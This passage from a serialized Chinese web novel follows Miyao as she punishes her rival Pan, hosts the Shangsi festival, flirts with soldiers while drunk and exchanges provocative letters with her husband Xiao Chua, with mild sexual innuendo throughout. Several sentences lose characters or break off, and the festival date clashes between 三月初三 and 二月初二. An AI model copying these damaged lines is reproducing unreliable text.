赵天赫拍桌站起,因为情绪激动,他怒喝完弯腰咳了片刻才重新看向潘氏。
他养子收的不少,养女却只有两个,而这两个一个是他夫人好友的孩子,一个就是潘氏。
“到底是我没有好好关照你,把你养成了这副模样。”
当年他可怜潘氏年岁小就没了父母,收她为养女,一是安抚属下,让他们知晓他这个主子宽厚,其二就是他三女去的时候就与她年岁差不多大。
赵五与赵七犯错,他只觉得他们可恶,潘氏犯错,他则是觉得难堪。
今日他把宓瑶叫来,而不是亲自审问潘氏,就是想维护她几分,有萧欻的托付在前,他审不能徇私,但宓瑶看在他的面上,处罚至少能打上一半折扣。
谁知潘氏竟然是那么一个德行。
与他平日里认知的完全不同,就像是一个嫉妒宓瑶嫉妒到入魔的疯子。
“当年我有意让欻儿娶你,他虽然对你无意,但因为不想违背我的心思,主动对你示好,是你自己不愿,你觉得欻儿官职低配不上你,如今见他势头强劲就把他视作你的囊中物,你以为你是谁,又把欻儿当做了什么!这般的唯利是图,还道虞氏夺了你的气运,你贪婪无耻,不择手段,你这样的人要是有好的气运,才是老天瞎了眼!”
宓瑶见过了赵天赫几次,赵天赫都是一副面上含笑让人看不透深浅的笑面虎模样,见他怒成这般,说完又咳了起来,知晓他是对潘氏有父女情分,连忙劝道:“父君别气,花匠精心伺候花苗,依然会有几株开不出花,这不是花匠的错,是种子出了问题,可能生来就是坏种……”
宓瑶说着就觉得自个不大适合劝人,好像越说越没让场合缓和,都骂起潘氏是坏种了。
默默停住,宓瑶眨了眨眼,“父君,不若我就先回去了?”
赵天赫的暴怒因为宓瑶说错话后的打岔而消了大半,触到她小心翼翼的表情,绷不住笑了。
“你现在回去是什么意思?觉得我是骂给你看,等到你夫君回来,再与他告状说我包庇潘氏,办事不公?”
“父君该是误解了我品性,我不是那么小气的人。”
“这些话是欻儿走之前跟我交代,在他眼中你就是这种品性。”
对上宓瑶清澈的杏眼,赵天赫有种注意力被转移的松弛,特别是见她眸中的情绪会因为他的话变化,不管她是刻意作态,还是真的什么都写在了脸上。
面对她总比面对潘氏轻快,“你若是有异议,等到欻儿回来,你再与他辩驳。”
他虽然没见识过宓瑶骂人,但在他面前拐弯抹角告她状的人不少,就连萧欻走之前也说宓瑶心眼小,望他处事公正,不若宓瑶会闹天闹地,自个寻无数法子让凶手倒霉。
若是他真把萧欻的提醒,度,那他这些年就白活了。
“好了,既叫你来,就回公道,潘氏是我养女,不管她是不是天生是颗坏的种子,我都有教导不严之过,,除了保她一条性命之外,你要如何罚她,我都不拦你。”
甘强早被赵训拖了下去,只剩上,双眸无神地看着地面。
输得彻底,但又不甘愿如此认输。
听到赵天赫保她一命,把她交给宓瑶处置,她不觉得高兴,只觉得憋屈,凭什么是由宓瑶来决定她的命运。
“父君你看着我长大,能不知道我是什么样的人?我如今会这样都是被虞氏逼的,她不是个好人,她嫁给九哥前早跟旁人私定了终生,在来益州的途中,她便要跟那人私奔,是九哥拦截她才没有跑成,她怨恨九哥伤了她的情夫,她如今的作态都是为了报复九哥,包括她亲近萧家的孩子,也只是为了博取九哥的信任,往后好对他们下手。”
宓瑶觉着潘氏可能有精神分裂,身体中有两个灵魂,要不然怎么会一下子癫狂的像是疯婆子,一下子又面目真诚,字字血泪。
而若是真有两个灵魂,按着她说的这些话,说不准其中一个是重生的。
是以潘氏选择正确答案的能力看来,重生也没什么用就是,除非能她还能有回档的功能。
宓瑶感觉到赵天赫落在她身上的目光,只当感受不到他听到“情夫”后对她的审视,朝潘氏道:“父君既然让我自己讨回公道,这般吧,我给你个机会,你提个我能满意惩罚,我便按着你说的去是罚,你也可以不提,继续说这些‘肺腑之言’,那我就按着我的想法来了。”
宓瑶手指搭在茶盅上,刮了刮茶沫,“想清楚再说,咱们打过那么多次交道,你晓得我这人,机会只有一次。”
潘氏冲出口的话因为宓瑶而吞回了肚子,她死死盯着宓瑶纤细的手指,恨得眼中都泛起了血光。
“我要嫁人,我要嫁给赵八郎。”
既然这一世她不同的选择没有让她的命运变好,她愿意再嫁一次赵八郎,不是攀附萧欻这条捷径,而是依靠先知帮赵八郎成功。
“好的,把你许配给甘强。”
对上潘氏不敢置信的目光,宓瑶耸了耸肩,“我们打过那么多次交道,你晓得我这人,我这人最是小气,你要嫁人可以,只能嫁给入了奴籍的家奴,至于赵家八郎君,人家做错了什么要娶你那么个心狠手辣的娘子。”
“虞氏你这个——”
“快捂嘴巴!”宓瑶提醒齐娘,
齐娘连忙往潘氏嘴里塞了帕子,顺道取了潘氏的腰带绑住了她。
赵天赫非礼勿视,直接避到了外面,看着屋外的景色,他又是想叹气又觉得好笑:“欻儿娶的这虞氏倒是有趣。”
听旁人告了宓瑶不少状,他只觉得宓瑶是个不吃亏的性子,却没想到她的不吃亏是如此表现。
“虞夫人如此鲜活,怪不得会招镇使喜欢。”
在旁的赵训顺着接了句。
“的确鲜活。”
想到宓瑶傲慢神气地扬起下颌,说自个小气,赵天赫笑了声,但想起潘氏笑容又垮了下来,他以为他的女儿该是像宓瑶那般,能勇于揭露赵五赵七的狼狈为奸,能大大方方说自个小气,睚眦必报不受任何委屈。
不是潘氏那般品行不端,为了获取权力不择手段,还蠢的获取不到。
“就按欻儿媳妇定的惩处,让潘氏与那奴仆成婚。”
至于潘氏往后如何,他们父女情分已断,他不会再管。
*
离开节度府时,宓瑶不忘问赵训要茶叶,赵训以为她之前是拍赵天赫马屁,谁晓得她还真要茶叶。
“极品白毫银针,相使也只得了些许。”
赵训婉转拒绝,就听到宓瑶像是听不懂般:“那我就少要一点,均我五钱即可。”
“相使一共才得了一斤多些。”
“那三钱?”
赵训对上宓瑶明亮的杏眸,方才他说宓瑶有活人气,一半是为了应和主子,这会儿他是完完全全觉得她是个鲜活的大活人了。
活的让人咬牙切齿。
“夫人,这茶就那么好喝?”
两人上了马车,齐娘看向宓瑶手上放了三钱茶叶的紫砂罐,想到方才赵训吝啬如命的神色,好奇地问道。
宓瑶往她怀里一倒:“的确好喝。”
不过她非要不可的缘由却不只是因为好喝,而是想让赵天赫晓得她这人讨嫌,不懂眼色,平日里少跟她打交道,别再发生大早上把她叫出门的事情。
她觉得自个想的周到,但不知是她太讨人喜欢,还是赵天赫觉得三钱茶叶值钱,要多差使她几回才划算。
没过几日赵天赫便派人到萧府,嘱咐她主持三月初三的上巳节。
宓瑶对这个节日唯一的记忆点就是不禁野/合,年轻男女互相表达爱慕之后,情到深处可以往小树林钻,官府不禁夜行。
在榻上翻了两翻,宓瑶懒洋洋地听完需要她主持的事情,听到她要代替萧欻,用柳枝沾菖蒲酒洒向他留下的兵将祛病祈福,还要准备大量的芍药方便未婚男女求偶。
不由放空地想了想,她懒的特意寻人,跟萧欻说品尝旁的男人滋味只是说说,但是现在机会从天而降,她是不是得抓住机会?
像萧欻说的那般粗粗细细都仔细品味,才能确定他是不是真正的天赋异禀。
想到这个,她翻身从榻上坐起,对这个节日来了点兴趣。
第62章 第六十二章【VIP】
“节度使是什么意思,难不成真打算让姓萧的那小子接替他的位置?竟然把上巳节交给了虞氏主持!”
厅内几个赵家旁支的掌权人围坐在桌前,先开口的人一脸愤慨地拍了桌子,“说起来都是四房的错,若不是五郎的事惹怒了节度使,让节度使对赵家子弟失望,怎么会轮到萧欻那个外姓小子。”
上巳节的主持说大不大说小不小,往常这些节庆都是方氏和赵家几位夫人操持,赵天赫身边的文司马在旁辅助。
而这一次赵天赫直接把事交给了虞氏,不是让她参与,而是排除了赵家人让她直接管事,这举动怎么可能没有深意。
赵天阳被指着鼻子骂教子无方也来了脾气。
“你这话说的好笑,像是以往节度使有多重视赵家子弟。”
赵天阳语调轻蔑,“节度使对萧欻的看中又不是最近开始,这几年他时时把萧欻带在身边教导,不知道委以了多少重任,让他立了多少战功,萧欻说要娶美人,就连被淮南节度使视为禁/脔的虞氏,他也为萧欻撑腰,给萧欻娶了,我看节度使早就打算培养萧欻,把剑南交到他手上。”
这话一出,周围又安静了下来。
上巳节的主持不算什么,主要是赵天赫透出的态度,今日是上巳节,那明日是什么?
若是宓瑶的政治面目是益州女眷的领头,那是不是代表了萧欻就是下一任节度使?
“你们别都不说话,快说说现在该怎么办?”
如今藩镇割据,朝廷形同虚设,若是赵天赫定下萧欻继任,就是连大兴帝都无法干预。
若是赵天赫有自己的孩子,把位子传给自己的子嗣,他们这些赵家人不会说什么,但萧欻算是什么。
与赵家一点关系都没有,连寒门都算不上,就是个身上泥点子都没洗干净的泥腿子。
这样的人上位对他们来说简直是侮辱。
“还能怎么办?只能走一步看一步,若是节度使真如此糊涂,我们只能用我们的办法,拨乱反正,当断则断!”
话音落下,屋中又是一阵寂静,甚至有人下意识害怕地看向屋外,怕隔墙有耳。
“老五说的没错。”
赵天阳应和道,“一朝天子一朝臣,若是萧欻上位,赵天赫孤家寡人一死了之,我们这一大家子怎么办,萧欻阴狠乖戾,为了不受桎梏,恐怕会直接灭了我们一族,我们反抗为的不是我们自个,而是为了我们老祖宗留下的基业,为了我们赵氏的子孙后代。”
屋内的气氛因为赵天阳的煽动又热烈了起来,人人都不服赵天赫的安排,但师出无名,都在等着一个能把他们不臣之心合理化的借口。
处在道德高地看赵天赫,他便成了不肖子孙,赵家人得而诛之。
*
赵家人在热火朝天的鼓舞士气,萧府的气氛也差不多,只是鼓舞的事情不一样而已。
马夫孙大是宓瑶招进府中,给濮青查过一遍后,她就没有再在人员管理上下功夫。
所以除了怪萧欻招蜂引蝶,她没把她这次意外怪到其他人身上。
是察觉到了萧府中的紧绷,还有看到了虞琇与霜华肿着一双眼睛,她才晓得她没怪她们,她们却乖觉的自省,怪起了自个。
见她们那么自觉,宓瑶想了想也没轻拿轻放,把人叫到跟前,连同濮青一起罚了一个月月钱和五板子。
“你别觉着委屈,孙大进府的底子没有问题,但他一直在外院干活,府中一直默认外院是由你管理,你若是觉得他不该你管,就该跟霜华划分好彼此的职责。”
宓瑶说到后面,不止看濮青还看向了霜华,“霜华你也同样,若是觉得孙大每日都在外院,不归你管就开口与濮青说清,而不是当哑巴。”
濮青是萧欻长随,平日里什么都干点,偶尔会跟着萧欻出门办差,照顾萧欻的饮食起居,或是到处跑腿,传递消息,算起来就是萧欻的杂务总管。
萧府除了仆人,还有一队萧欻的私卫,这群人住在外院,负责护卫府邸安全,不属于府邸杂仆的范畴,不归宓瑶管而是直接听命萧欻。
这种情况下,霜华就默认了外院是濮青的地盘,不关注也不干涉外院的部曲行事。
孙大就是利用了这点,他的月钱是从霜华那里发,但日日都待在外院马厩养马,像是跟侍卫们一样属于外院。
而濮青这仆人……
听到宓瑶指责,濮青没觉得委屈,反倒是想明白他在这件事的具体错处,利落跪下道:“属下一直觉着属下有错,但只想到监管不严,让贼人有机可乘,在属下眼皮子底下对夫人动手,夫人一说,属下更清楚自个错了哪里,往后一定多与霜管事通传往来,不再当哑巴。”
因为把府邸安全视为自己的职责,他一遍,这事他也没有提前与霜华她们告知,
霜华是内院总管,他们互通有无,管。
“奴婢有错,奴婢觉着想着内院是内院,外院是外院,若当哑巴,也不会有这次事情发生。”
霜华同样跪下认错,她一直觉着濮青是萧欻的心腹,对她们这些虞家来的下人带着挑剔。
想着不能被濮青看轻,凡事她就是有疑问也自己解决,或者旁敲侧击想其他的法子,从未直接找过濮青解决问题,更别谈私下交流。
“成了,都起来吧。我会给你们犯错改正的机会,但你们要记得自个错在哪里,以往还在同样的事上犯蠢,就不是简单的打板子罚月钱。”
“属下遵命。”
“奴婢晓得了。”
打发走了两人,宓瑶瞧向因为没被打板子所以闷闷不乐的虞琇。
“你若是身上痒了想挨揍,就去跟萧翼他们去学武去。”
因为她遇袭,萧府最近掀起了学武热潮,先是诗雅知道齐娘身手好,央求她教她一招半式,之后就是萧善萧良说要学武功保护她。
她本以为他们只是闹着玩,谁想到几日下来,他们还真时时练习,扎起马步来都似模似样了。
而这其中萧翼则是最为夸张。
因为上次萧翼被马家人欺负,宓瑶就给萧翼找了拳脚师父,让他以后遇到事直接打回去,不要养成被打了不还手躲着擦药的坏习惯。
他本身就在学武,所以没有加入齐娘的练武大军,只是让武师父给他加课,听说最近为了练武寅时初就起了。
这般也没落下任何功课,还得了虞少阳一通百通越来越聪慧的夸赞。
她是由衷佩服他们这些高精力人群,而她一日六个时辰,少睡半个时辰都觉得一整天废了,需要缓两天才能缓过来。
“我已经在跟齐娘学了。阿姊,虽然霜华是主管事,我只是副管,但府邸人员管理出了纰漏我也有责任,若是我不挨板子,往后不长记性怎么办,阿姊你还是打我吧。”
虞琇自备了戒尺,说完双眸恳切地看着宓瑶。
宓瑶就没见过人主动要挨打的,瞅着虞琇不被打就不安心的表情,她顺了她的意让她长了记性。
打完见她眼中含泪,脸上却笑的心满意足。
宓瑶不晓得她这算是把虞琇养好了,还是把她教歪了。
不过虞琇这般能让人十分省心就是。
若是知道虞琇是如何从觉得她不靠谱,到她打她都当做是一种被认可的光荣,她是不是能把这一套训法套在萧欻身上,让萧欻以后不挨她揍就觉得缺了什么。
这个念头升起来的时候爽,但想一想宓瑶就放弃了,萧欻和虞琇不一样,虞琇没安全感依赖人,把她当做唯一的亲人依附。
换做萧欻兴奋起来能把人舔一遍的狗劲,她再训下去,说不准他会专门弄出一间暗牢,准备鞭子蜡烛,怎么刺激怎么玩。
最后她行为就会变成利他,而不是利己。
叹了口气,她没再想这些乱七八糟的事情,而是看起了节度府送的往年上巳节记录。
昨日方氏亲自来送册子,面色难看,话里话外暗示宓瑶两幅面孔,对旁人一张脸,在赵天赫面前却卖乖,得到了赵天赫的青睐与信任。
方氏虽然心中不满,但因为怕无法跟赵天赫交代,在交接上不敢缺斤少两,宓瑶问什么她答什么,宓瑶没问的她主动开口,怕产生什么疏漏最后追责到她身上。
根据以往的菜色,宓瑶拟定了当日宴请官员的菜肴,唯一不同是把赏贫的百姓的米粮换成了粥与面饼。
对于方氏阴阳怪气她把菜单中添了两项卤肉店的熟菜,还有把赏贫的面点交给自家铺子做。
宓瑶直接回道:“我辛苦办事,若是这点好处都不捞,我还办个什么。”
因为她太理直气壮,方氏所有的话都堵到了喉咙口,等回到了节度府都忘了跟赵天赫告状。
不过话是那么说,宓瑶在书写存案交给文司马时,上头写得是自家菜食做的干净吃得放心,想让父君尝尝,而赏贫百姓熟食能一定程度的遏制百姓们拿到米面不吃选择售卖。
等方氏找到机会告状时,赵天赫已经看过了备书,闻言只是笑了笑:“欻儿媳妇说的没错,做事哪能一点好处都没有。”
这样便打发了想试探他对宓瑶态度的有心人,让人知晓他如今多看中萧欻夫妻俩。
第63章 第六十三章【VIP】
在各方瞩目下,日子终于到了二月初二。
这一日对宓瑶来说还是有些特别,她带着几分激动地换上了绣娘赶工出来的衣裙。
裙裾间缀满珍珠宝石的金丝织锦广袖外裳,内里是石榴红宝象花纹曳地裙,臂间挽银泥纱披帛。
她今日特意梳了个完全露出额头的云鬓,额间贴嫣红描金芍药花钿,蕊缀帝王绿翠片点睛。
乌黑高耸的花髻上是应景的金栗步摇,其余都是当季的花材簪花,粉樱,海棠,紫藤,色泽鲜嫩丰富却不杂乱,还选了一条形状小巧翠柳映衬其中。
把自己的脑袋当做瓶花后,宓瑶是什么都想插,她提前画了几副画稿,到了上巳节前日才定下其中一版与衣裳最搭的让侍女梳妆。
身上打扮完了,宓瑶手上还拿了枝两尺长寓意丰收的金穗杆。
这东西不是旧俗,纯粹是因为她每次盛装打扮出场时,不喜欢手搭在侍女身上那套,所以手中空空总觉得缺了点什么。
因此在想服装搭配时,她就想到了可以让两只手都有用处的拂尘,转化了一下就让金匠打出了这支流苏金杆。
实物出来比她想象的更好看,工匠手艺巧夺天工,空心的设计使金杆不重,杆身上的錾刻与粟纹工艺都极为添彩。
因为满意这根金拂尘,她又让工匠做了几柄,除却金穗,还有石榴,葫芦一类好寓意的形状。
东西做了就要用,所以不止是宓瑶宛若洛神,萧善他们*除了盛装之外,手上也同她一样拿了东西。
而侍女则是放有鲜花的竹篮。
虞少阳瞧见他们的架势呆愣了许久:“这是仙人出游吧?”
甄婧大着肚子也在其中,她本想赵天赫抬爱宓瑶,已经遭了益州不少人嫉妒,若是再太显眼岂不是成了靶子,但见宓瑶的打扮,就觉得被人眼热没什么关系,这仙气她是一定要沾。
拿着祥云纹宝葫芦,甄婧抬手对虞少阳做了个收妖的动作:“你区区一介凡人竟敢直视仙人,好大的胆子。”
“仙女饶命,小生被仙子脱俗的容貌所惊,一时无状惊扰了仙子,还请仙子莫要怪罪,不知道仙子许了人家没有,小生二十有二,仙女若是瞧小生顺眼,嫁给小生可好。”
开头的话听着顺耳,后头图穷匕见,迅速地展现了男人的丑陋的劣根性也算是有趣。
宓瑶先是笑着在旁看两人斗嘴,但片刻感觉到周围的气息越来越热,怕自己再不走下一眼就看到他们躺在榻上妖精打架,所以立马避了出去。
“夫人,这是镇使快马加鞭送来的急信。”
这信有多急从气喘吁吁的信使就能看出来,宓瑶准备出门,本想回来有心情在看萧欻有什么屁要放,但瞧见信使的模样,宓瑶从濮青手上拿过了信封。
打开密封,里头倒是没什么急切的内容。
开头问了府中的情况,说了自个已经到了江宁,没什么危险让她不必担忧,最后提及他知晓她主持上巳节的事情。
——“父君不了解你,他见你聪慧想要给你这个光彩,若是你没精神应对,便把事务交给文司马处理,父君不会怪你。”
这句话写完,大约想到了信送到她手中的时候,上巳节已经过了,萧欻又道。
——“辛苦你了,听闻这边云锦漂亮我让人给你送些……我昨日突然想起你与我说的一句话,你与我说笑,道你要趁着我不在要让身上的药效物尽其用,之前我们因汪娘子的事产生误会,你提及我们洞房那夜你知晓我那句话是说笑,如今我回想当时,我的话着实伤人,往后我们彼此都别再开这般无礼的笑话。”
——“等我归。”
看到最后宓瑶盯着带有别扭少男情绪的词字,翘唇笑了笑。
只能说萧欻有几分本事,能透过事件看危机。
一个上巳节他就能想到他们曾经开过的玩笑,并且机灵的先示弱,再暗示她要老实。
可惜天高皇帝远,他若是觉得他一改往日的态度,自省道歉,她就会感激涕零,好好跟他过日子,那他就是想多了。
为了给萧欻立刻回信早点气他,宓瑶脱了身上繁复的外裳,挽着广袖,笔墨落纸。
——“萧郎想错了,我知晓萧郎是跟我开玩笑,但我可没有跟萧郎说笑,我这个人老实就喜欢说言出必行的实话。”
的团扇,把纸上的墨水扇开,把信纸装封。
过去,不是什么急事,嘱咐信使人命比信重,不必那么快。”
使风尘仆仆,濮青道了声:“夫人心善。”
至于信件他还是找了个腿脚体力好的八百里加急,夫人一收到信件就立刻回信,可见对镇使的看重,怎么能因为信使的脚程耽搁了主子们的两情缱绻。
宓瑶少阳惊叹,轿子抬出府邸,因为侍女的独特打扮,路送花,围观的人一路从萧府到城中心。
等到轿子落下,宓瑶掀帘,嘈杂寂静了几个呼吸,之后有人大呼声“神女”,接着就如同多米诺骨牌一般,从内辐射向外,百姓跪了一片又一片朝拜神女。
宓瑶被这动静惊的怔了怔。
她爱美喜欢打扮,但又不想过多的耗费精力,日日参加宴会,与不同的人打交道,所以格外珍惜每一次可以隆重出场的机会。
这次她想到可能会有人如同她以往参加宴会上瞧不惯挑刺,没想到挑刺的人没出现,反倒是被当做神仙朝拜。
见到面前跪倒一片的百姓,宓瑶有些不自在,但发现有些人眼眸含泪,真虔诚的把她当做仙人祈愿,她没露出怯态。
吩咐侍女四处散完芍药与桃枝之后,她取了花草煮出的香露,用柳条蘸取挥洒后,才从百姓兴奋的欢呼中才抽身离开。
“你与欻儿真是天作之合。”
爱美之心人皆有之,赵天赫瞧见宓瑶像是欣赏美好事物般端详了片刻,接着感叹道。
在他看来萧欻是身边最适合接任他位置的人,但不代表他百分百满意萧欻,就拿萧欻的性格来说,萧欻有与旁人不同的威势,但却缺了些亲和。
让人信服却过于冷硬,让人无法感觉到仁德宽厚。
想着这世上没有完全完美的人,再者乱世之中让世人觉得铁血强大,要比如沐春风更安稳,他就放下了磨萧欻的外交性子。
而谁想到萧欻娶了宓瑶这个宝贝,只要着重打造宓瑶的形象,萧欻没有的那些全都能由她来补足。
这才让他发出了天作之合的感叹。
宓瑶不知道自个爱漂亮能让赵天赫想那么多,若是知道这作用,她上交的备录会把她今日穿戴的饰品衣裳一起写上,让他一起给报销了。
到了吉时,赵天赫简单地说了几句祈福风调雨顺的祝词,接着就把位置让给了宓瑶。
这是之前没有说好的环节,宓瑶被赶鸭子上架,看着楼台下面兴奋又期待的百姓们,选择了继续洒花露。
“这是仙露是仙露!我从未闻过那么香的气味,镇使夫人是神女,她使用了仙法给我们祛病延年……”
沾到水珠的百姓亢奋的大呼小叫,而且还不止一两个人愚昧地认为宓瑶是神女,而是一大片一大片。把宓瑶与萧欻当做了下凡救世的神仙,夫妻俩的名声隐隐有盖过赵天赫的样子。
赵家人不知道赵天赫会不会因此猜忌,反正他们一家人是不好受。
若是一两个百姓神化宓瑶,只可能是她耍花招派人散播谣言造势,但人人都这般说,那就是民心所向。
只希望这日过去,百姓们能退热清醒,意识到宓瑶只是个装扮漂亮的美人,跟神女没有任何关系。
“好美……”
赵家长辈一脸凝重,已经想到如何第二次除掉宓瑶,就听到小辈中有人发出感慨。
转头看去面目发痴的小辈不止一个。
“妖女罢了!全是妖骚之气,只有愚昧的百姓能被愚弄,美个什么!”
“爹你可别乱说,这话让仙人听到遭报应了怎么办?”
赵八郎捂住了亲爹的嘴,说完还看了眼天穹,怕晴天降雷,劈死他爹。
赵家长辈:……
他们竟然要为这些猢狲小辈舍了命造反,真不如让虞女施展妖法让他们全部毙命。
在高台洒露后,官员们被请去了湖边踏青饮酒,有些百姓也依附在官员旁边设帐,可以一同欣赏宓瑶安排的伶人表演。
而宓瑶本人则是带着几个孩子去看望了萧欻的下属。
站在校场边缘,看着一个个龙精虎壮的青年赤裸着上身,整齐地打出一套军拳,宓瑶不止内心哇偶,嘴里也哇了出来。
甄婧也没克制自己,扶着大肚子,眼眸放光,十分庆幸她没有随女眷一同去看胡人跳舞。
这不比胡女抛媚眼刺激多了。
鄢妘相比两人算是收敛,面上镇定,只是耳朵通红,打心里觉得不虚此行。
第64章 第六十四章【VIP】
“光天化日,又有女眷在场,怎么能不穿衣裳?!”
在场唯一不高兴的就是虞少阳。
他的怒吼没有引起任何人注意,想捂甄婧眼睛的手也被甄婧没好气地推开。
捂不了自家娘子的眼睛,为了表示自个对眼前场景的愤怒,他只能捂住了萧善的眼睛,带着她去找将领发脾气。
“是夫人说天气炎热,心疼大伙顶着烈日操练,特意送信说今日演武平日如何今日就如何,别把她当外人特意穿上上衣。”
被质问的将领一脸无辜,说着还失望地摸了摸自个最近吃大的肚子,若是不是顶了个大肚子脱了上衣上场不美,他也得上去好好耍一耍拳头,让夫人们捂着嘴连连惊叹。
听到是妹妹吩咐,虞少阳抬头看了眼根本没有烈日的蓝天,一时哑然,又不能当着旁人的面说自个妹妹不好。
“这季节哪会有什么烈日,我阿妹不懂,苏校尉也不劝说一二。”
“这样好看!”
不等苏校尉说什么,被虞少阳强制带离校场的萧善大声说,一边说一边还迈着小短腿想去找宓瑶。
见萧善小小年纪都懂得男人什么样是好看了,虞少阳吓得把萧善抱得更紧,不准她乱跑。
“别看别看,长大再看。”
若是萧善的话,长大就是有了夫君,再看这些他也没什么意见,就是他的夫人……
虞少阳看向场内,这会儿士兵们已经打完了军拳,一群群裸着上身站在几个女眷前头,等着她们用沾有菖蒲酒的柳条洒向他们。
带着汗水的男人身体那么一群群凑在一起,他没靠近都觉得臭,也不晓得被他们围着女眷们,怎么能一个个笑逐颜开,洒酒水洒的不亦乐乎。
虞少阳被她们笑容刺到,想与苏校尉谈谈如何阻止这事,就发现转眼的功夫,苏校尉已经乐呵呵地挤到了场内,排着队等宓瑶她们“赐福”。
“你过来做什么?”
甄婧原本笑的合不拢嘴的脸,因为面前冒出的虞少阳笑容垮下。
明显是不想在这个时候看到虞少阳。
“难不成我就不用祛病了,娘子你快往我身上多洒一些。”
虞少阳一扫方才的愁眉紧锁,装作笑嘻嘻地凑到自家娘子面前,既然阻止不了娘子看其他男人,那他只能参与其中。
甄婧面无表情地用柳条抽了他几下:“好了一边去。”
虞少阳听话移到了一边,但却移动的不远,就站在甄婧旁边,上来一个男人他就瞪一个。
“你是多久没洗澡了,皮肤上一层黑泥!”
“还有你都瘦成了排骨,怎么还好意思脱衣裳。”
“啧啧,那么高像个熊一样也不怕吓着人。”
都是男人,自然知道虞少阳这是管不住夫人,只能像怂包一样争风吃醋。
兵将们哈哈大笑,只当虞少阳是在放屁。
“虞郎中如此在行,不如跟我们去校场比划两招!”
“就是,虞郎中体型健壮威武,一看就与我们不同,不如脱下上衣让我们见识见识。”
虞少阳:……
触到虞少阳脸上的为难,甄婧觉得丢人,捂着脸跑了,而她一跑正好给虞少阳去追的机会。
在起哄声中虞少阳把甄婧抱起,展示了一把文弱书生的占有欲。
“好了好了,还不快把我放下。”
进了屋子,甄婧拍打虞少阳让他放手,她现在是双身子,哪有胆子陪他那么玩。
“今日回去我就跟萧翼他们一同练功,不就是肚子上有几块硬邦邦的肉,我也可以!”
“你有这决心,我自然是高兴的。”
甄婧没好气道。
男人自然是自家的好,但那些硬邦邦的肉,她也想摸摸是什么滋味。
往宓瑶方向看,甄婧不禁感叹:“还是嫮嫮好,妹夫时常外出,嫮嫮做什么妹夫都不干涉。”
瞧见宓瑶已经撒完酒水,开始从兵将们手里收到大把大把的芍药花,虞少阳捞回了自家娘子,头依然发疼。
这哪是萧欻不干涉,是萧欻远在千里之外,想干涉也没法子干涉。
“别把萧欻说的比我大方多少,你忘了之前常旋克,他比我可小气多了,今日这事就不能传到萧欻的耳朵里,不然他在战场火拼都要解甲回益州,把嫮嫮扛回家,捂着她的眼睛不许她乱看。”
话听着有道理,
,都是自己人,跟常旋克不同,妹夫才不会计较。”
“呵呵。”
若不是怕妹妹跟萧欻吵架,他现在就想给萧欻去信一封,让甄婧瞧瞧萧。
宓扛走了,正听着兵将们的夸奖,听得心花怒放。
试男人这事只能拿来气气萧欻,除却真干这事会特别麻烦,还因为身材好的男人一群一群的出现比较有看头,若是单独一个她看着就是平平。
萧欻的脾气再讨人厌,人长得还是不错。
深邃的五官给眉眼各处都增加了阴影,凤眼下有着一道褐色的眼尾勾,眼眸的形状就像是自带眼线般拉的幽深狭长,其下还有一条微微凸起的卧蚕,更给他的眼眸增添了一丝别致。
再加上萧欻平日练武不会比任何人懈怠,八块腹肌轮廓清晰,每次压在她身上,她都忍不住去摸一摸紧绷时的硬度。
一群群的人看下来,只能说男主不愧是男主,身形与模样能与萧欻媲美的人她一个都没看到。
不过新鲜最重要。
萧欻的综合实力再强也是吃过的旧人。
抱着一只只鲜嫩的芍药,宓瑶玩得兴起,不止跟兵将们一起喝了菖蒲酒,还叫了校尉把手下最强壮的属下叫上前欣赏。
沾着酒水的手不晓得摸了多少把腹肌之后,宓瑶醉醺醺的被虞少阳扛走,上了马车,宓瑶还叫着要继续玩不要回家。
虞少阳:……
他妹妹是被色鬼附身了不成?
“今日事千万别让你家镇使知晓,本不是什么大事,若是他知晓误会,你们没一个人能讨好。”
苏校尉乐呵呵点头,拍了拍濮青:“夫人只是喝迷糊了,你瞧我的大肚子夫人都拍了几下,就真是祈福,别让镇使误会了。”
濮青已经傻了,从宓瑶开始喝酒他就吓了一跳,不晓得她怎么喝起来了,直到她醉倒他都没回过神。
该说的事情不该瞒着主子,但在说法上面可以婉转几分。
濮青点头,宓瑶只是醉后把苏校尉当球拍了拍,的确算不上什么大事。
只是他没想到,他想着为宓瑶遮掩一二,宓瑶则是亲自把这些事告诉了萧欻。
回到府邸后酒劲上头,宓瑶换下华服沐浴过后依然没有睡意,干脆让人给她拿了笔墨。
——好舒服,我说的是别的男人肚子的手感……
写满了几张信笺,那股旺盛的精力终于消耗一空,宓瑶封了信封,吩咐濮青快马加鞭给萧欻送去。
“速度要快,不要耽搁,免得萧欻不晓得我有多快乐。”
说着,宓瑶还扬唇笑了笑。
触到宓瑶眼眸半眯的甜笑,濮青心中道了声真美就低头不敢多看。
这样的夫人不管做了什么错事,镇使应当都舍不得与她计较,何况她还如此乖觉,立刻写了信解释让镇使消气。
所以应当不会有什么事吧?
*
这封消气的信在濮青安排下,不到十天就呈到了萧欻的桌前。
萧欻先拆开了那封简短的“你是说笑我是老实人只说实话”,冷嗤半晌,看着还有另一份明显信纸更多的信封,以为宓瑶是先气他一下,再来哄他。
而拆开第二封,他就发现他把自己看得太重。
现在的宓瑶哪里会打他一巴掌再给他一颗甜枣,只会给他左脸一巴掌,然后让他反过右脸,再被她扇一下。
“真当我是抽不开空回去。”
见信中写了其他男人肚子摸上去的手感,萧欻真不知宓瑶是哪来的那么大胆子。
他喜欢她是事实,也不吝于让她知晓。
但他让她知晓的原因,是想让她正常些,好好与他过日子,不是让她踩在他头上称王称帝,把他当做绿头乌龟糟蹋。
信没看完,萧欻就气的站起,在屋中转了几圈,想要催促唐檀邑立刻出兵,早早打完他好返回益州,让宓瑶晓得哪怕他对她动心,他依然舍得处罚她,就是虞少阳在,他也不会对她多几分客气。
在屋中绕的不过瘾,他出门叫来传话的官员,应了淮南节度使私下的邀约,打算先搞死一个曾经觊觎宓瑶的男人泄愤。
事情吩咐完,他回屋内本想撕了他没看完的信,但拿起沾有酒味的信纸,他还是接着看了下去。
宓瑶的信笺中把益州百姓被她美貌震惊的事书写了半页,剩下就是她多好,在他不在益州时安抚他属下,特意去了军营送花,虽然到最后花都被士兵们又送回给了她。
——“虽然他们的皮肤摸着滚烫,充满力量,但相比郎君还是差远了,摸着他们我就发疯地想念郎君。”
——“想郎君有力的腰肢,想郎君温暖宽大怀抱。”
——“萧郎何时归来?”
萧欻的嘴角因为后面这几句话缓缓扬起,反复看了几遍后,哪里还记得信笺前面的内容。
虽然不知道她为何要摸了旁人才能发疯想他。
但总归是发疯的想他了。
第65章 第六十五章【VIP】
